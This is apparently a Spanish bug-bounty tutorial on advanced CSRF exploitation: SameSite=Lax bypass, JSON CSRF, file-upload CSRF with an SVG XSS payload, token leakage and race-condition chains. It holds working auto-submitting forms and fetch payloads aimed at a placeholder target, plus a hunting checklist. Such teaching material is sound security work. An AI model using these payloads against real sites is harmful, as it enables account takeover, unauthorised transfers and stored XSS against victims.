Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioCon cuenta

CSRF explotación avanzada — SameSite bypass, JSON CSRF, Flash, file upload CSRF

Técnicas avanzadas de CSRF más allá del clásico form submit: SameSite=Lax bypass via GET, JSON CSRF con Content-Type tricks, file upload CSRF y exploitation chains.

Gorka El Bochi11 de mayo de 202615 min

Respuesta rápida

CSRF "está muerto" porque Chrome puso SameSite=Lax por defecto en 2020. Pero el bug class sigue vivo en 2026: SameSite=Lax permite GETs cross-site (cualquier acción state-changing implementada como GET es explotable), JSON CSRF funciona si el server acepta text/plain o cuerpos con Content-Type flexible, y file upload CSRF sigue siendo el escenario más rentable cuando no hay protección anti-CSRF en endpoints multipart. Bounties típicos: €500-€5.000+ cuando encadenas con XSS o IDOR.


ModoComportamiento cross-siteEstado por defecto
StrictCookie no se envía en ninguna petición cross-sitePocos sites
LaxSe envía en top-level GET (clicar un link)Default Chrome desde 2020
None; SecureSe envía siempre (require HTTPS)Sites que necesitan cross-site

Lax es el default — y abre toda la superficie de GET state-changing.


SameSite=Lax bypass via GET

Si la app tiene endpoints GET que cambian estado (anti-pattern frecuente en apps legacy y a veces en endpoints "REST-ish" descuidados), Lax los expone:

html
<!-- attacker.tld/exploit.html -->
<a id="bait" href="https://target.com/account/delete?confirm=1">Click here</a>
<script>document.getElementById('bait').click();</script>

Click triggerea top-level GET → cookie Lax viaja → la acción se ejecuta.

Endpoints típicos vulnerables

  • GET /logout (low impact pero clásico)
  • GET /api/account/delete?id=X
  • GET /email/change?to=atacante@evil.tld
  • GET /password/reset/confirm?token=X
  • GET /follow?user=X, GET /like?post=X

Bypass via <form method="GET">

Si el endpoint solo acepta GET, un form submit también funciona — pero el browser navega top-level (target=_top), igualmente Lax-friendly.

html
<form action="https://target.com/account/delete" method="GET" id="f">
  <input type="hidden" name="confirm" value="1">
</form>
<script>document.getElementById('f').submit();</script>

[!warning] 2-minute Lax exception (Chrome) Chrome permite POST top-level cross-site con cookies Lax en los primeros 2 minutos de creación de la cookie. Si forces re-login de la víctima (open redirect a OAuth, magic link, etc.) y tu CSRF dispara en <120s, el POST también funciona. Patrón documentado en H1 reports con bounties €1500-€3000.


JSON CSRF — el bug que "no existe"

La narrativa común: "no se puede hacer CSRF a un endpoint JSON porque Content-Type: application/json requiere un preflight CORS, y el atacante no puede mandar preflights". Falso en 3 escenarios.

Escenario 1 — Server acepta cuerpos con Content-Type flexible

El endpoint declara que acepta JSON pero parsea cualquier body. Manda Content-Type: text/plain (que es "simple" — no requiere preflight) con un body que parece JSON:

html
<form action="https://api.target.com/transfer" method="POST" enctype="text/plain">
  <input name='{"amount":1000,"to":"atacante","ignore":"' value='ignore"}'>
</form>
<script>document.forms[0].submit();</script>

El body resulta {"amount":1000,"to":"atacante","ignore":"=ignore"} — la app parsea el JSON entero y procesa la transferencia.

Escenario 2 — Server acepta application/json sin verificar Origin/Referer

Si la app tiene CORS abierto (Access-Control-Allow-Origin: * o reflected origin) Y Access-Control-Allow-Credentials: true, un fetch normal manda las cookies:

javascript
fetch("https://api.target.com/transfer", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ amount: 1000, to: "atacante" })
});

Esto es CSRF + CORS misconfig — el preflight pasa porque el server lo acepta.

Escenario 3 — Flash multipart (legacy pero aún encontrable)

En apps muy legacy (que aún soportan Flash o tienen reverse proxies con normalización rara), Content-Type: multipart/form-data puede llegar como JSON al backend si el parser inspecciona el body:

css
Content-Type: multipart/form-data; boundary=foo
--foo
{"amount":1000}
--foo--

Reverse proxy + backend con parser laxo → el body se interpreta como JSON.

<!-- PAYWALL -->

File upload CSRF — el escenario más rentable

Endpoints de upload casi nunca usan CSRF token (porque "no se puede mandar multipart cross-origin sin preflight"). Falso desde HTML5.

Form multipart desde otro origen

html
<!-- attacker.tld/exploit.html -->
<form action="https://target.com/api/upload" method="POST" enctype="multipart/form-data" id="f">
  <input type="file" name="file" id="i">
</form>
<script>
const file = new File([
  '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>'
], 'pwn.svg', { type: 'image/svg+xml' });

const dt = new DataTransfer();
dt.items.add(file);
document.getElementById('i').files = dt.files;
document.getElementById('f').submit();
</script>

Si el endpoint:

  • No requiere CSRF token
  • Sirve el archivo subido en el mismo dominio (target.com/uploads/...)
  • No restringe el MIME real del archivo

→ Stored XSS via CSRF + SVG. Bounty típico €1.500-€3.500.

Chain con avatar upload

Avatar upload + falta de CSRF token + el avatar se sirve same-origin = stored XSS persistente en el perfil de la víctima.


CSRF token leakage

Cuando hay token CSRF, el siguiente paso es filtrarlo:

Via Referer

html
<!-- target.com/profile?token=ABCD -->
<a href="https://attacker.tld/track">Click</a>

Click envía Referer: https://target.com/profile?token=ABCD → atacante lee el token de sus logs. Fix correcto: Referrer-Policy: strict-origin o no-referrer.

Via XSS en el mismo dominio

XSS en cualquier punto del dominio → fetch /api/csrf-token → tienes el token → tiras CSRF "auténtico". Por eso XSS+CSRF protection no protege contra XSS.

Via cache poisoning

Si la página con <meta name="csrf-token"> se cachea por CDN sin variar por user → tu token cacheado va a la víctima. Fix: Cache-Control: private o nunca cachear páginas con token.

Via subdomain XSS

XSS en blog.target.com + cookies Domain=.target.com → tu JS en blog puede leer cookies con secret_token que aplican al main domain.


CSRF con SameSite=Strict — el grial

Strict bloquea todas las cookies cross-site. Aún así hay escenarios documentados:

Si controlas *.target.com (subdomain takeover) y la cookie tiene Domain=.target.com, tu subdomain controlado puede mandar requests same-site (no cross-site) con la cookie. Strict no protege.

Browser extension / cross-app injection

Si la víctima tiene una extensión que inyecta tu JS en target.com (XSS via extension, malware), el JS corre same-origin → bypasea Strict.

En algunos browsers/configs, los redirects de auth (302 desde accounts.target.com/oauth?...) llegan al callback de target con la cookie Strict — históricamente bug class documentado, parcialmente parcheado en Chrome 90+. Sigue siendo escenario a probar.


Chain CSRF + race condition (bounty real €2400)

Patrón documentado en programs financieros: el endpoint de "confirmar transferencia" valida CSRF token pero la lógica tiene race condition en la verificación de balance.

less
VictimGET /transfer/form        (token CSRF emitido)
AttackerCSRF a la víctima con N requests paralelas del confirm
           Server: race condition entre [check balance] y [debit balance]N transferencias por el mismo balance

Single-packet attack (HTTP/2) + CSRF = una sola interacción de la víctima dispara N races simultáneas.

[!success] Bounty real H1 program de marketplace de booking — CSRF + race en endpoint de cupón → cupón aplicado 12 veces → reembolso por encima del precio original. Reward $2.400 + bonus por chain.


Validación incorrecta del token CSRF — patrones

Token aceptado si está vacío

http
POST /api/transfer
X-CSRF-Token:          ← header presente pero vacío

App chequea "header existe" pero no "tiene el valor correcto". Bypass.

Token aceptado si está ausente

App valida solo si el header está presente. Quita el header → la validación se salta.

Token global compartido entre users

Token CSRF derivado de un secret global, no per-session. Atacante obtiene un token desde su sesión y lo usa en el CSRF de la víctima.

Token "verificado" en GET pero no en POST

Form genera token y lo manda en GET. Server verifica el token en GET (parsing del form) pero el endpoint POST de submit no lo re-verifica.


Hunting checklist

  • Identifica endpoints state-changing que aceptan GET — explotables vía Lax.
  • Para POST: chequea Content-Type aceptado (¿acepta text/plain o form-urlencoded?).
  • CORS misconfig + credentials → fetch directo con credentials:"include".
  • File upload endpoints — pocos tienen CSRF token. Multipart cross-origin con DataTransfer.
  • CSRF token bypass: vacío, ausente, global, no re-validado.
  • Token leakage via Referer (Referrer-Policy ausente), cache, XSS subdomain.
  • SameSite=Strict apps: prueba subdomain takeover + cookie Domain=.target.com.
  • 2-min Lax window: chain con auth flow que re-emita cookies (OAuth callback).
  • Race conditions encima de CSRF — single-packet attack para chains.
  • Documenta impact: ATO, transfer, role change, public info exposure.

Labs relacionados

Practica SameSite bypass, JSON CSRF y file upload CSRF en labs de CSRF.

Practica esto en un lab

Csrf Explicado Completo

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta
Premium · 1 técnica más

Hay un payload extra al final

El chain CSRF + race condition que bypasea SameSite=Strict via top-level GET navigation — bounty €2400 en H1 program.

Desbloquear

5 €/mes · cancela cuando quieras

Artículos relacionados